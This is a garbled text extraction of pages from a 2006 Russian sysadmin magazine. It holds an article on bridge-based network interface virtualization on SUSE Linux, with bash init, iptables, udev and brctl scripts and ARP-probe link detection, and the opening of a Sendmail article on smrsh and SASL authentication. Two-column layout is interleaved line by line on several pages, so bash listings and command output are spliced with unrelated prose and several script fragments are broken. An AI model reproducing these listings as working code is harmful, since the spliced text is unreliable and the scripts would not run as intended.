Нам потребуется создать набор необходимых сетевых мос- пользовать нестандартный скрипт.
тов. Это первый нестандартный шаг. Нужно сначала создать Итак, у нас вышло, что все необходимое можно реали-
нужное число мостов с помощью команды «brctl addbr eth*». зовать двумя дополнительными скриптами после некото-
Вот тут мы будем использовать удобные и привычные име- рой модификации существующих настроек. Рассмотрим
на сетевых интерфейсов, начинающихся с традиционного подробнее.
префикса «eth». То есть воспользоваться ими мы сможем
лишь тогда, когда все реальные интерфейсы будут пере- Стартовая схема
именованы в иной именной ряд. Если в ходе работы будут Теперь давайте выделим из перечисленного ту часть, кото-
добавляться или меняться сетевые карты, то эту процедуру рую надо повторять при каждом старте, считая, что все не-
надо будет повторять. Тогда имена на «eth» станут свобод- обходимые шаги по настройке виртуализованного интер-
ными, и их можно будет использовать в качестве имен сете- фейса уже выполнены однажды. В этом случае число ша-
вых мостов, которые, собственно, и послужат основой сете- гов несколько сократится:
вой виртуализации. Как только мосты созданы, ими можно 1. Создадим необходимое число сетевых мостов, соот-
манипулировать с помощью стандартных сетевых скриптов. ветствующих используемым сетевым интерфейсам.
Для этого в директории /etc/sysconfig/network надо создать 2. Поднимем и реальные, и виртуальные интерфейсы.
файлы с сетевыми настройками, названные по схеме ifcfg- 3. Скоммутируем реальные устройства с нужными сете-
eth*, где eth* соответствует имени сетевого моста, которому выми мостами.
эти настройки предназначены. Например, некоторому сете-
вому мосту eth2, используемому как канал в Интернет, мо- Шаг 3 полностью соответствует стандартному скрипту
жет соответствовать следующий файл настроек: /etc/init.d/network. Не забывайте перед стартом /etc/init.d/
boot.udev проконтролировать, что в конфигурации udev
# cat /etc/sysconfig/network/ifcfg-eth2 не возникло нежелательных устройств, занимающих ис-
BOOTPROTO='static' пользуемые системные имена eth*. Также необходимости
UNIQUE='alZb.Tm92cpV9oKE' предустановить настройки сетевого экрана. Обе задачи
IPADDR='213.xx.xx.xxx'
NETMASK='255.255.255.248' можно совместить, если скрипты, их выполняющие, вызвать
BROADCAST='213.xx.xx.xxx' из /etc/init.d/boot.local. Полностью стартовая последователь-
NETWORK='213.xx.xx.xxx'
MTU='' ность должна выглядеть, как представлено на рис. 3.
NAME='Virtual device eth2 VDSL' В некоторой точке настройки системы (№1, рис. 3) вы-
STARTMODE='auto'
REMOTE_IPADDR='' полняется скрипт boot.local, предназначенный для размеще-
USERCONTROL='no' ния дополнительных пользовательских функций, которые

20
 администрирование
должны выполниться после системного старта. Это пре-
красное место для инициализации сетевого экрана и кон-
троля настроек udev. Сначала заблокируем весь трафик
скриптом fw-init:

#!/bin/sh
iptables -F
iptables -t nat -F
iptables -t mangle -F
iptables -X
iptables -t nat -X
iptables -t mangle -X
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

Затем, разрешим работу интерфейса lo скриптом

fw-main:

#!/bin/sh

IPT=$(which iptables)
LIST1=("-A OUTPUT" "-A INPUT" "-A FORWARD" "-t nat ↵
-A POSTROUTING")
LIST2=("-o" "-i" "-i" "-o")
LIST3=("OUTPUT" "INPUT" "FORWARD" "POSTROUTING")
SIZE=4
IF=lo

I=0
while [ "$I" -lt "$SIZE" ] ; do
J=${LIST1[$I]}
K=${LIST2[$I]}
L=${LIST3[$I]}
$IPT $J $K $IF -j ACCEPT
$IPT $J -j LOG --log-prefix "main $L DROP " ↵
--log-level notice
$IPT $J -j DROP
I=$((I+1))
done
$IPT -P INPUT ACCEPT
$IPT -P OUTPUT ACCEPT
$IPT -P FORWARD ACCEPT
Этот скрипт поместит в каждую цепочку разрешение
для трафика через lo, явное протоколирование и уничто-
жение всего остального трафика, и поменяет политики
на разрешительные. Сохранение политики DROP не поз-
волит с помощью анализа логов понять причину непра-
вильной работы сети в случае ошибок в настройке сете-
вого экрана. А так, если уничтожение пакетов происходит
явным образом, можно обнаружить, куда исчезает тра-
фик. Скрипты являются частью системы управления се-
тевым экраном, которая здесь не описана. Разделение их
на два независимых файла сделано для того, чтобы мож-
но было каждой функцией воспользоваться по отдельнос-
ти. Например, fw-init просто очищает все настройки iptables
и блокирует трафик.
Ну и напоследок чрезвычайно простая программка
fixudev, удаляющая все строки в настройках udev, изменяю-
щие имена в те, что используются в схеме виртуализации:
#!/bin/sh
N=/etc/udev/rules.d/30-net_persistent_names.rules
T=/tmp/30-net_persistent_names.rules.$$
cat $N | grep -v "k eth" >$T
mv $T $N
Такой скрипт, конечно же, может испортить настройку
нового сетевого интерфейса, произведенную через YaST,
но он не позволит разрушить уже созданную сетевую на-
стройку из-за конфликта имен.
Рисунок 3. Стартовая последовательность
В точке 2 (см. рис. 3) отработает boot.udev, который по
стандартным зависимостям выполняется после boot.local,
и настроит необходимое для работы службы udev.
И теперь в точке 3 (см. рис. 3) все готово для создания
виртуальных устройств сетевых мостов. Этим будет за-
ниматься специальный стартовый скрипт bridgeprep. Пол-
ный его текст, точно так же, как тексты всех используемых
здесь программ, размещается в прилагаемом архиве [3].
Все стартовые скрипты SUSE пишутся согласно стандарт-
ному шаблону /etc/init.d/skeleton. Поэтому отмечу лишь ак-
туальные и системно-зависимые части.
Во-первых, в самом начале создается управляющая
секция согласно LSB:
### BEGIN INIT INFO
# Provides: bridgeprep
# Required-Start: boot.udev
# Required-Stop: boot.udev
# Default-Start: 2 3 5
# Default-Stop:
# Short-Description: Ethernet bridge
# Description: Start Bridge to allow configure
Bridge device
### END INIT INFO
Здесь задается специальный идентификатор – bridgeprep,
который позволит ссылаться на этот скрипт из управляющих
секций других скриптов, далее указывается очередность –
после boot.udev, и уровни выполнения, в которые скрипт
включается по умолчанию. Если скрипт с такой управляю-
щей секцией установить командой «chkconfig bridgeprep on»,
то он будет включен в уровни 2, 3, 5 на любое свободное
место очередности в стартовой последовательности пос-
ле boot.udev, а в стоповой – до boot.udev.
Во-вторых, проверяется программное окружение и на-
страиваются внутренние переменные:

№8, август 2006 21

 администрирование
# Check for missing binaries
# (stale symlinks should not happen)
BRIDGE_BIN=/sbin/brctl
test -x $BRIDGE_BIN || ( echo "not found $BRIDGE_BIN" ; ↵
exit 5 )
# Check for existence of needed config file and read it
BRIDGE_CONFIG=/etc/sysconfig/bridge
test -r $BRIDGE_CONFIG || ↵
( echo "not found $BRIDGE_CONFIG" ; exit 6 )
. $BRIDGE_CONFIG
Отсутствие brctl или собственных управляющих файлов
скрипта приведет к аварийному завершению его работы.
В этом же фрагменте производится чтение управляющего
файла, который стандартно располагается в /etc/sysconfig
c совершенно неоригинальным именем bridge и представ-
ляет собой просто список переменных с присваиваемыми
им значениями, заданный в формате командной оболочки
bash. Это тоже совершенно стандартное решение для по-
добных системных параметров, и их задание и модифика-
цию можно производить как из консоли с помощью редак-
тора, так и используя оснастку в YaST. Содержание файла
/etc/sysconfig/bridge будем рассматривать синхронно с ко-
дом, его использующим.
В-третьих, небольшая характерная для SUSE «косме- «поднять», как и другие сетевые устройства, с помощью
тическая добавка»:
# Shell functions sourced from /etc/rc.status:
. /etc/rc.status
# Reset status of this service
rc_reset
Это позволит отражать результат работы скрипта в про-
токоле так, как принято для скриптов SUSE.
Ну и, наконец, актуальная часть. Рассмотрим только стар-
товую ветку оператора case. Все остальное работает точно
таким же образом. Вот часть кода, отвечающего за старт:
case "$1" in
start)
echo "Starting bridge "
for i in ${BRIDGE_LIST} ; do
$BRIDGE_BIN addbr $i
P="BRIDGE_FD_$i" ; P=${!P} ; [ "1$P" != "1" ] ↵
&& $BRIDGE_BIN setfd $i $P
P="BRIDGE_HELLO_$i" ; P=${!P}
[ "1$P" != "1" ] && $BRIDGE_BIN sethello $i $P
P="BRIDGE_STP_$i" ; P=${!P} ; [ "1$P" != "1" ] ↵
&& $BRIDGE_BIN stp $i $P
done
$BRIDGE_BIN show
echo -n
# Remember status and be verbose
rc_status -v
;;
Предполагаю, что вы знакомы с синтаксисом языка
сценариев bash, если нет, то подробности можно почерп-
нуть в отличном руководстве [4]. В указанном программном
фрагменте используются косвенные ссылки. Сначала в пе-
ременной BRIDGE_LIST задается список сетевых мостов,
которые будут созданы, например, так:
BRIDGE_LIST="eth0 eth1 eth2 eth3"
Переменная $i «пробегает» в цикле все значения из это-
го списка и применяется для последовательного создания
22
всех устройств в команде brctl addbr $i. Дополнительно для
каждого сетевого моста можно задать несколько парамет-
ров в формате BRIDGE_парамет_имя, например, так:
BRIDGE_FD_eth0=0
BRIDGE_HELLO_eth0=0
BRIDGE_STP_eth0=off
Если параметр определен в файле конфигурации
/etc/sysconfig/bridge, то производится его настройка для со-
ответствующего виртуального устройства. Поскольку все
наши сетевые мосты будут использоваться исключитель-
но как средства виртуализации, то представленные выше
значения для FD, HELLO и STP, а именно 0,0 и off, надо ука-
зать для каждого сетевого моста в обязательном порядке.
Как видите, все очень просто. Новый стартовый скрипт
надо установить принятым в SUSE способом:
# cp bridgeprep /etc/init.d
# ln –s /etc/init.d/bridgeprep /sbin/rcbridgeprep
# chkconfig bridgeprep on
После выполнения данного скрипта в процессе старта
системы будут созданы сетевые мосты, и их можно будет
стандартного скрипта network, на рис. 3 пункт 4. Но надо
непременно указать, чтобы скрипт network выполнялся пос-
ле скрипта bridgeprep. Для этого в дистрибутивном скрипте
подправим одну строку в управляющей секции LSB:
# Required-Start: $local_fs bridgeprep
где укажем, что работа скрипта network теперь зависит еще
и от bridgeprep. Таким образом, при очередной перенастрой-
ке местоположения network в стартовой последовательнос-
ти «chkconfig network off : chkconfig network on», этот скрипт
займет правильное положение согласно рис. 3.
Если до запуска network в основном происходит на-
стройка локальных сервисов, то после network будут за-
пущены все сетевые устройства независимо от состояния
внешних линий, и можно смело запускать также и сете-
вые сервисы... – все равно ни один из них не будет досту-
пен снаружи. Полностью сервер подключится к сети лишь
после отработки скрипта bridgeup (пункт 5, рис. 3). Этот
скрипт, отмеченный на рисунке голубым контуром, явля-
ется нестандартным дополнением и построен аналогично
рассмотренному ранее bridgeprep. Но у него уже иная стар-
товая зависимость:
# Required-Start: random bridgeprep network
И, конечно же, иной алгоритм работы. Этот скрипт про-
изводит сборку сетевых мостов, то есть подключение к ним
физических устройств. Полностью его работу рассмотрим
в следующем разделе, а сейчас приведу лишь фрагмент,
производящий статическую сборку:
for i in ${BRIDGE_LIST} ; do
eval j=\$BRIDGE_DEVS_$i
if [ "1$j" != "1" ] ; then
# static device list
for k in $j ; do
[ "1$k" != "1" ] && {
 администрирование
$BRIDGE_BIN addif $i $k
BRIDGE_POOL=`remove_dev $k`
}
done
else
...

Здесь все очевидно – если надо включить некоторые

устройства в нужный мост, то в /etc/sysconfig/bridge запи-
сывается:

BRIDGE_DEVS_eth0="hweth0 hweth2"

И два физических интерфейса с именем hweth0 и

hweth2 будут добавлены командой brctl addif к мосту eth0.
Этот скрипт тоже должен быть установлен тем же спосо-
бом, что и предыдущий.
Подведем итоги. Цена всей доработки стартовой схе-
мы, как и обещано, два нестандартных скрипта и неболь-
шая правка в network. После этого все начинает функцио-
нировать по-новому, так, как планировалось в [1].
Отдельно опишу, как решаются проблемы с настрой-
кой сетевых экранов. Итак, после boot.local во всех цепоч-
ках уничтожаются все пакеты кроме следующих через lo.
И в промежутке от пункта 1 и вплоть до пункта 5 на рис. 3
можно делать с сетевым экраном что угодно. Это никак не от-
разится на работе сервера и его служб, если все реальные
сетевые устройства настроены как 0.0.0.0, а все виртуальные
еще не подключены ни к одному реальному. Поэтому пред-
лагается настройки сетевого экрана выполнять для каждого
интерфейса синхронно с его включением скриптом network,
а точнее, программой ifup. Как уже было написано в начале,
в каждый файл параметров сетевого интерфейса добавля-
ются дополнительные настройки, например:
POST_UP_SCRIPT='/etc/fw/fw-on-internet'
POST_DOWN_SCRIPT='/etc/fw/fw-off-internet'
И соответствующие скрипты будут вызываться на вы-
полнение сразу после поднятия интерфейса и после его от-
ключения. Сам сетевой экран надо строить по схеме, ана-
логичной используемой для устройства lo:
1. Создаются подцепочки для каждой основной цепоч-
ки iptables. Например inputeth0 для INPUT и устройства
eth0.
2. Затем они наполняются нужными правилами, заверша-
емыми правилом с целью DROP.
3. И лишь после того в начало основной цепочки добав-
ляется переход на созданный фильтр с квалификато-
ром (опцией, фильтрующей трафик по принадлежнос-
ти к интерфейсу).
Подобная схема полностью исключает возможнос-
ти конфликтной или недостаточной фильтрации, так как
за каждый интерфейс отвечает лишь одно правило в ос-
новной цепочке и собственная подцепочка фильтра, за-
вершаемая правилом с целью DROP, то есть не теряющая
правила ни в каком случае.
Два последних скрипта в стартовой последователь-
ности (см. рис. 3), network и bridgeup, можно останавли-
вать и запускать независимо от всего остального. Но, к со-
жалению, нет штатного способа указать, что перед оста-
Рисунок 4. Сетевая разметка тестового сервера
новкой network надо остановить bridgeup и, соответствен-
но, после запуска network не забыть запустить и bridgeup.
А так как здесь идет речь о минимальном вмешательстве
в системные скрипты, то ограничимся тем, что просто за-
помним эту взаимосвязь.
Адаптивная коммутация
Теперь выполнены почти все обещания из первой части [1].
Но есть еще одно важное и пока не реализованное преиму-
щество схемы виртуализации – соединение виртуальных
устройств с реальными, согласно фактически произведен-
ной внешней коммутации. Иначе говоря, в ходе выполне-
ния bridgeup сервер должен проверить соответствие реаль-
ных подключений планируемым. Разберем это на конкрет-
ном примере. Безусловно, пример не идеален, так как он
специфичен моей практике. Но описанные методы позво-
лят построить вам собственную схему и для других усло-
вий работы сервера.
Далее все буду описывать согласно рис. 4. Итак,
есть сервер с четырьмя сетевыми картами, названными
hweth0-4. Есть три внешних кабельных подключения (ро-
зовые квадраты) – локальная сеть (LOCALNET), основной
ISP, подключенный через ADSL, и дополнительное под-
ключение к региональной сети (MAN ISP), где провайдер
использует DHCP. Внутри сервера создаются тоже четыре
сетевых интерфейса (голубые квадраты). Первый – для ра-
боты с локальной сетью (LOCALNET). Второй – как вирту-
альная внутренняя сеть для связи виртуальных же машин
(CLUSTERNET). Третий – для соединения с ADSL-модемом
(ADSL ISP). И четвертый для подключения к регионально-
му провайдеру (MAN ISP).
Задача заключается в том, что операционная систе-
ма, стартующая на этом сервере, не «знает», как на са-

№8, август 2006 23

 администрирование
мом деле произведена коммутация внешних соединений, из-за отсутствия трафика вообще, или из-за того, что нельзя
но должна это «выяснить» «на лету» и, соответственно, на- гарантированно в течение времени прослушивания полу-
строить сетевые мосты. А иначе, спрашивается, зачем мы чить уверенный отклик, приходится прибегать к способам
все это затевали? активного тестирования кабельных подключений.
Вся работа будет производиться в скрипте bridgeup в са- Итак, если слушать нечего или невозможно, тогда оста-
мом завершении стартовой последовательности (рис. 3). ется «спросить» у сети что-то конкретное. Как принято вы-
Все интерфейсы уже подняты и сетевые экраны уже на- яснять наличие или отсутствие сетевых хостов – с помо-
строены (красная пунктирная линия на рис. 4). И вот те- щью icmp. Но у нас еще нет скоммутированных соедине-
перь вопрос – есть ли способ узнать, что «на кабеле» в та- ний, и такое высокоуровневое средство не подходит, так как
ком состоянии, когда физические интерфейсы еще не вклю- обмен посылками icmp является достаточно многоступен-
чены в мосты? чатым процессом. Нам придется выбрать что-то попроще.
Ну, конечно же, всем известная утилита tcpdump поз- Самое простое – arp-запрос. Только сформировать его на-
волит «прослушать» такие интерфейсы. Если вызвать до будет не штатной утилитой, так как сервер еще реаль-
ее как «tcpdump -ln -i hweth0», то можно получить прото- но не подключен к сетевым соединениям. Для таких целей
кол всех «пойманных» там пакетов и по характеру тра- прекрасно подходит утилита nemesis [5]. Можно взять го-
фика понять, какой провод воткнут в джек сетевой кар- товый бинарный пакет [6] и установить его в систему. Arp-
ты hweth0. Точно так же, как это можно сделать взглядом, запрос позволит узнать о существовании в сетевой сре-
можно и просчитать через grep по сохраненному протоко- де, подключенной к исследуемому интерфейсу, некоторо-
лу работы этой утилиты за некоторое контрольное время. го хоста, отвечающего по требуемому адресу. При этом за-
Например, если мы знаем, что в локальной сети у нас ис- прос отправляется в стиле «скажите хосту с адресом1, ка-
пользуется сетевой коммутатор, работающий по протоко- кой физический адрес имеет хост с адресом2». Очень удоб-
лу STP, то даже в «пустой» сети можно поймать периоди- но то, что подобный запрос практически никогда не бло-
чески рассылаемые сообщения, содержащие в расшиф- кируется, так как протокол ARP отвечает за самое низко-
ровке tcpdump подстроку «802.1d config». Такая проверка уровневое взаимодействие. В терминах утилиты nemesis
реализована в скрипте check-tcpdump [3]. Скрипт, в свою это выглядит так:
очередь, вызывается из bridgeup сразу после приведенно-
го выше фрагмента как альтернатива, вызываемая по ус- nemesis arp -d устройство -S адрес1 -D адрес2
ловию else, если отсутствует строка статического зада-
ния сборки моста: Вызов nemesis добавляется между запуском tcpdump
и отсчетом контрольного времени. После прекращения про-
eval j=\$BRIDGE_TCPDUMP_$i слушивания надо точно также профильтровать результат
if [ "1$j" != "1" ] ; then
# check tcpdump расшифровки трафика tcpdump. Но только образец для по-
L="" иска будет иной, а именно «arp reply адрес2 is-as». Все это
for k in ${BRIDGE_POOL} ; do
n=`${BRIDGE_CHK_TCPDUMP} $k "$j" | grep BINGO` выполняется скриптом check-arp [3].
[ "1$n" != "1" ] && { Теперь для настройки надо лишь определить хост, на-
$BRIDGE_BIN addif $i $k
L="$L $k" личие которого будет со всей определенностью указы-
} вать на нужную сетевую среду. Например, если сетевой
done
for k in $L ; do мост eth2 должен быть подключен к модему ADSL с адре-
BRIDGE_POOL=`remove_dev $k` сом 10.0.0.2 (рис. 4, зеленая стрелка), то в настройку до-
done
else бавляем строку:

Как уже видно, за эту ветку настройки отвечает специ- BRIDGE_ARP_eth2="10.0.0.1 10.0.0.2"
альная строка конфигурации сетевого моста:
Очередной фрагмент кода bridgeup, отвечающий за сле-
BRIDGE_TCPDUMP_eth0="802.1d config" дующую альтернативу else, вызываемую в отсутствие
других настроек, проверит существование переменной
Если она определена, то скрипт перебирает все устройс- BRIDGE_ARP-устройство и произведет соответствующую
тва, оставшиеся в списке незанятых (BRIDGE_POOL), и про- проверку оставшихся в списке BRIDGE_POOL-устройств
веряет протокол перехваченного tcpdump трафика с помо- в поиске подходящего:
щью check-tcpdump на совпадение с заданным образцом.
Безусловно, выбор правильного и эффективного образца eval j=\$BRIDGE_ARP_$i
if [ "1$j" != "1" ] ; then
для сравнения всецело на совести системного администра- # check arp
тора, производящего настройку, так как бывают сети с чрез- L=""
for k in ${BRIDGE_POOL} ; do
вычайно замусоренным трафиком. Например, данная стро- n=`${BRIDGE_CHK_ARP} $k $j | grep BINGO`
ка поиска работала до тех пор, пока в сети MAN не был под- [ "1$n" != "1" ] && {
$BRIDGE_BIN addif $i $k
ключен аналогичный коммутатор, как и в локальной сети. L="$L $k"
Тогда пришлось заменить контрольный образец на более }
done
подробный «802.1d config 8000.00:11:d8:cb:df:99.8001», со- for k in $L ; do
держащий MAC-устройства. И именно по этой причине или BRIDGE_POOL=`remove_dev $k`

24
 администрирование
done После того как только кабели снова были возвраще-
fi
fi ны на старые места и перезапущен bridgeup, все пришло
fi в норму:

В нашем случае других проверок не предусматрива- # rcbridgeup stop

...
ется и приведенный ваше блок закрывает все операторы # rcbridgeup
if, но пытливый и изобретательный читатель может про- Assemble bridgies eth0 eth1 eth2 eth3
должить настройки, если так будет требоваться конкрет- Hardware pool hweth0 hweth1 hweth2 hweth3
bridge name bridge id STP enabled interfaces
ной задачей. eth0 8000.000479661b70 no hweth1
eth1 8000.000000000000 no
Вот как это действует на практике. После старта сис- eth2 8000.001022ff43d7 no hweth0
темы, если кабельные подключения соединены соглас- eth3 8000.00xxxxxxxxxx no hweth3
Free NICs hweth2
но рис. 4, то запрос статуса соединения виртуальных ус- done
тройств покажет следующее (листинг приведен с сокра-
щениями): Заключение
Вот и все – запланированные цели достигнуты. Но получен-
# rcbridgeup status ное несколько больше простого технического приема. Таким
Checking for service bridge running образом создается независимая сетевая архитектура сер-
bridge name bridge id STP enabled interfaces
eth0 8000.000479661b70 no hweth1 вера. Или, говоря иначе, создается дополнительный слой
eth1 8000.000000000000 no виртуализации, что позволяет унифицировать так же и все
eth2 8000.001022ff43d7 no hweth0
eth3 8000.00xxxxxxxxxx no hweth3 настройки, основанные на сетевых параметрах, для систем,
eth0 Link encap:Ethernet HWaddr 00:04:79:66:1B:70
inet addr:192.168.0.9 Bcast:192.168.0.255 Mask:255.255.255.0 расположенных выше данного слоя. Максимальный выиг-
... рыш получается при использовании виртуальных серве-
eth1 Link encap:Ethernet HWaddr 00:00:00:00:00:00
inet addr:192.168.254.1 Bcast:192.168.254.255 Mask:255.255.255.0 ров. Так как миграция, а также и создание, и резервирова-
...
eth2 Link encap:Ethernet HWaddr 00:10:22:FF:43:D7 ние, и восстановление их требует единства внутрисерверн-
inet addr:10.0.0.1 Bcast:10.0.0.255 Mask:255.255.255.0 ной среды. Подробнее тема сетевой архитектуры будет рас-
...
eth3 Link encap:Ethernet HWaddr 00:XX:XX:XX:XX:XX смотрена в статьях, посвященных виртуальным серверам.
inet addr:172.16.YY.YY Bcast:172.16.255.255 Mask:255.255.0.0
...
Несколько неожиданным может показаться еще один
вывод. Описанное адаптивное поведение сетевой систе-
Интерфейс eth3 уже успел получить адрес через DHCP мы по отношению к внешней коммутации, кроме просто-
(и адрес, и MAC скрыты, так как их можно легко использо- го сохранения правильных настроек сетевого экрана, мо-
вать для спуфинга в MAN). Затем изменяем коммутацию жет привести и к философским выводам. Если считать ли-
случайным образом. Чтобы система «почувствовала» это нии коммуникации для компьютера эквивалентом органов
изменение, в нашем случае надо перезапустить bridgeup осязания, то управление этими органами является необ-
вручную, поскольку нам достаточно правильно настроить ходимым минимумом интеллектуальности. Если бы сете-
сеть после включения устройства. Но можно настроить пе- вые розетки были снабжены манипуляторами, ничего бы
риодический контроль, если персонал в серверной имеет не удивляло. Но здесь получается, что и без механическо-
привычку к спонтанной перекоммутации кроссов. го приспособления компьютер под управлением Linux мо-
жет «сам» выбрать правильное подключение. Иначе го-
# rcbridgeup status воря, может скомпенсировать ошибку оператора или тех-
Disassemble bridgies ника. То есть мы сделали компьютер немного умнее, «на-
bridge name bridge id STP enabled interfaces
eth0 8000.000000000000 no учив» его «видеть» и менять интерфейсное подключение
eth1 8000.000000000000 no программным способом.
eth2 8000.000000000000 no
eth3 8000.000000000000 no
done 1. Барабанов А. Современный Linux-сервер: виртуализируем се-
# rcbridgeup start
Assemble bridgies eth0 eth1 eth2 eth3 тевые устройства. //Системный администратор, №6, 2006 г. –
Hardware pool hweth0 hweth1 hweth2 hweth3
bridge name bridge id STP enabled interfaces
С. 10-17.
eth0 8000.00xxxxxxxxxx no hweth3 2. Daniel Drake. Writing udev rules – http://www.reactivated.net/
eth1 8000.000000000000 no
eth2 8000.0011d8956c2e no hweth2 writing_udev_rules.html.
eth3 8000.000000000000 no 3. Архив исходных текстов к статье – http://www.barabanov.ru/arts/
Free NICs hweth0 hweth1
done modernserver/netsrc.tgz.
4. Advanced Bash-Scripting Guide. Искусство программирования
Процесс отключения происходит совершенно безупреч- на языке сценариев командной оболочки. Версия 2.5 (15 фев-
но, а вот при подключении не обнаруживается соединение раля 2004 г.). Автор: Mendel Cooper (thegrendel at theriver dot
с MAN, так как в используемой сети применяется контроль com). Перевод: Андрей Киселев (kis_an at mail dot ru) – http://
по MAC, а разрешенное к применению устройство hweth3 gazette.linux.ru.net/rus/articles/abs-guide/index.html.
было уже задействовано для связи с локальной сетью. И те- 5. Nemesis packet injection utility – http://www.packetfactory.net/
перь уже две сетевые карты остались незадействованны- projects/nemesis.
ми. Таким образом, система предотвратила недопустимое 6. Бинарная сборка nemesis для SUSE – http://www.barabanov.ru/
соединение. arts/modernserver/nemesis-1.4beta3-1ab.i586.rpm.

№8, август 2006 25

 администрирование

Как работает Sendmail?

Полезные подробности
Часть 4: Взаимодействие со сторонними программами

Гуртом і батька добре бити.

Мудрость братского народа

Сергей Супрунов
Как бы ни был гибок и функционален Sendmail, его возможностей не всегда хватает
для решения всего многообразия задач. Но открытость ПО тем и хороша, что позволяет
наращивать мощь практически без ограничений.

Защиты не бывает много но найти в статье «Практикум Python: лочке, но есть возможность вносить
Sendmail, как было показано в предыду- обрабатываем входящую электронную изменения в .forward-файл через веб-
щих частях статьи (№ 5, 6, 7 за 2006 г.), почту» (№2 за 2006 г.). интерфейс). Конечно, Sendmail снижа-
позволяет, используя файл aliases или Однако здесь скрывается потенци- ет до минимума негативные последс-
пользовательские .forward-файлы, пе- альная проблема безопасности – если твия этой возможности, запуская про-
ренаправлять входящие сообщения у пользователя будет возможность са- цесс, выполняющий такую обработ-
на обработку сторонними программа- мостоятельно указывать любые про- ку, от имени пользователя-владельца
ми. Сам механизм достаточно прост: граммы в качестве обработчиков поч- .forward-файла. Но нельзя забывать,
письмо в исходном формате поступа- ты, то всегда остаётся вероятность, что в системе могут быть исполняе-
ет на стандартный вход (stdin) указан- что он воспользуется этим для несан- мые файлы, на которые установлен бит
ной программы или скрипта, который кционированного вызова програм- suid, что в ряде случаев может привес-
в дальнейшем занимается его обра- мы, к которой в нормальных условиях ти к печальным последствиям...
боткой. Несложный пример реализа- у него нет доступа (например, не пре- Д л я р е ш е н и я это й п р о бл е м ы
ции такого сценария на Python мож- доставляется доступ к командной обо- Sendmail можно настроить на работу

26
 администрирование

Cyrus SASL
Механизм аутентификации SASL (Simple
Authentication and Security Layer) использу-
ется для реализации безопасной аутенти-
фикации в связке с другими интернет-про-
токолами. Помимо аутентификации, SASL
предоставляет механизмы проверки це-
лостности данных.
Одной из наиболее популярных реа-
лизаций SASL является библиотека Cyrus
SASL. Будучи разработанной для нужд
Cyrus IMAP Server, она широко использует-
ся и для других задач, включая SMTP-ау-
тентификацию.
Cyrus SASL под держивает широ -
кий набор механизмов аутентификации –
CRAM-MD5, DIGEST-MD5, Kerberos, GSSAPI
(спецификация Kerberos 5). При необходи-
мости может быть разрешена поддержка
механизмов «плоской» аутентификации,
таких как LOGIN и PLAIN, однако их реко-
мендуется использовать только при рабо-
те по защищённому соединению.
Для выполнения ау тентификации
используется входящий в состав Cyrus
SASL демон saslauthd. Он умеет прово-
дить проверку пароля как по собствен-
ной базе, так и используя механизмы
PAM, LDAP, системный файл паролей
/etc/passwd, и т. д.

с «ограниченной оболочкой» (restricted shell for sendmail) –
smrsh. Особенностью этой оболочки является то, что она
позволяет запускать программы только из своего катало-
га, в системах FreeBSD по умолчанию это /usr/libexec/sm.bin
(изменить можно перекомпиляцией утилиты с флагом
-DSMRSH_CMDDIR).
Как это работает, лучше всего посмотреть на приме-
ре (после ключа -c указывается имя выполняемой про-
граммы):
# pwd
/usr/libexec/sm.bin
# ls -l
total 0
lrwxr-xr-x 1 root wheel 18 29 июн 10:13 thetest -> /home/serg/test.sh
lrwxr-xr-x 1 root wheel 10 29 июн 10:01 w -> /usr/bin/w
ществует ограниченный и стабильный список внешних се-
тей для доступа к почте), то задача ограничения режима рет-
рансляции почты, чтобы ваш MTA не стал «открытым реле-
ем», решается довольно легко с помощью файла access.
Но как только у вас появляются пользователи, которым
нужно обеспечить возможность работы с их электронной
почтой из любой точки мира, возникает определённая про-
блема. И наиболее приемлемым её решением будет исполь-
зование аутентификации.
Пожалуй, самой удобной методикой для Sendmail яв-
ляется использование SASL-аутентификации силами па-
кета SASL-Auth. По умолчанию Sendmail во FreeBSD соби-
рается без поддержки SASL, в чём можно убедиться, по-
дав такую команду:
$ sendmail -d0.1 -bv

# /usr/libexec/smrsh -c w и внимательно изучив строчки «Compiled with» на предмет

10:01AM up 20 days, 21:44, 1 user, load averages: 0.00, 0.02, 0.00 упоминания про SASL.
USER TTY FROM LOGIN@ IDLE WHAT Чтобы поддержка SASL в Sendmail появилась, нужно его
serg p0 curs3.myserver. 8:48AM - /usr/libexec/sm.bin/w
пересобрать. Для этого у вас должны быть исходные коды
# /usr/libexec/smrsh -c who системы. Последовательность действий такова:
/usr/libexec/smrsh: "who" not available for sendmail programs (stat failed)
1. Устанавливаем из портов security/cyrus-sasl2-saslauthd.
Конфигурацию можно оставить по умолчанию.
# /usr/libexec/smrsh -c thetest 2. В файле /usr/local/lib/sasl2/Sendmail.conf проверяем зна-
Smrsh test чение переменной pwcheck_method. По умолчанию она
определена как saslauthd, что означает использование
Как видите, smrsh позволяет исполнять только те про- универсального демона и будет хорошим решением
граммы, ссылки на которые (или сами двоичные файлы) в большинстве случаев.
размещены в /usr/libexec/sm.bin. Это же относится и к скрип- 3. Редактируем /etc/make.conf, добавив туда несколько
там – достаточно указать ссылку на скрипт, делать ссылку строк, которые будут использоваться при сборке сис-
на интерпретатор не требуется. При желании вы можете ис- темных программ:
пользовать любое имя программы – будет использоваться
имя ссылки, а не первоначальное имя «бинарника». # Флаги SASL для Sendmail
SENDMAIL_CFLAGS=-I/usr/local/include -DSASL=2
Чтобы Sendmail использовал для обработки перенаправ- SENDMAIL_LDFLAGS=-L/usr/local/lib
лений эту оболочку, а не стандартную sh, добавьте в mc- SENDMAIL_LDADD=-lsasl2
# Поддержка порта smtps для sendmail (если планируется)
файл такую строку: SENDMAIL_CFLAGS+= -D_FER_SMTP_SSL

FEATURE(smrsh) Здесь мы указываем добавлять при компиляции

Sendmail данные флаги, а также сообщаем программе
Любители править cf-файл могут заменить имя програм- make пути к необходимым библиотекам.
мы в строке Mprog, т.е. вместо «Mprog, P=/bin/sh . . . » ис- 4. Теперь пересобираем Sendmail:
пользовать «Mprog, P=/usr/libexec/smrsh . . . ».
# cd /usr/src/lib/libsmutil/
# make clean && make depend && make
Вход только по пропускам # cd ../libsm
Если для всех ваших пользователей предусматривается # make clean && make depend && make
# cd /usr/src/usr.sbin/sendmail
работа только из вашей подсети (или в крайнем случае су- # make clean && make depend && make && make install

№8, август 2006 27

 администрирование
Обязательно убедитесь, что предварительно установи-
ли пакет cyrus-sasl (см. пункт 1), иначе получите ошибку
об отсутствии нужных библиотек. Кстати, чтобы эти биб-
лиотеки не приходилось отыскивать по всему диску, на-
стоятельно рекомендуется ставить всё только из систе-
мы портов.
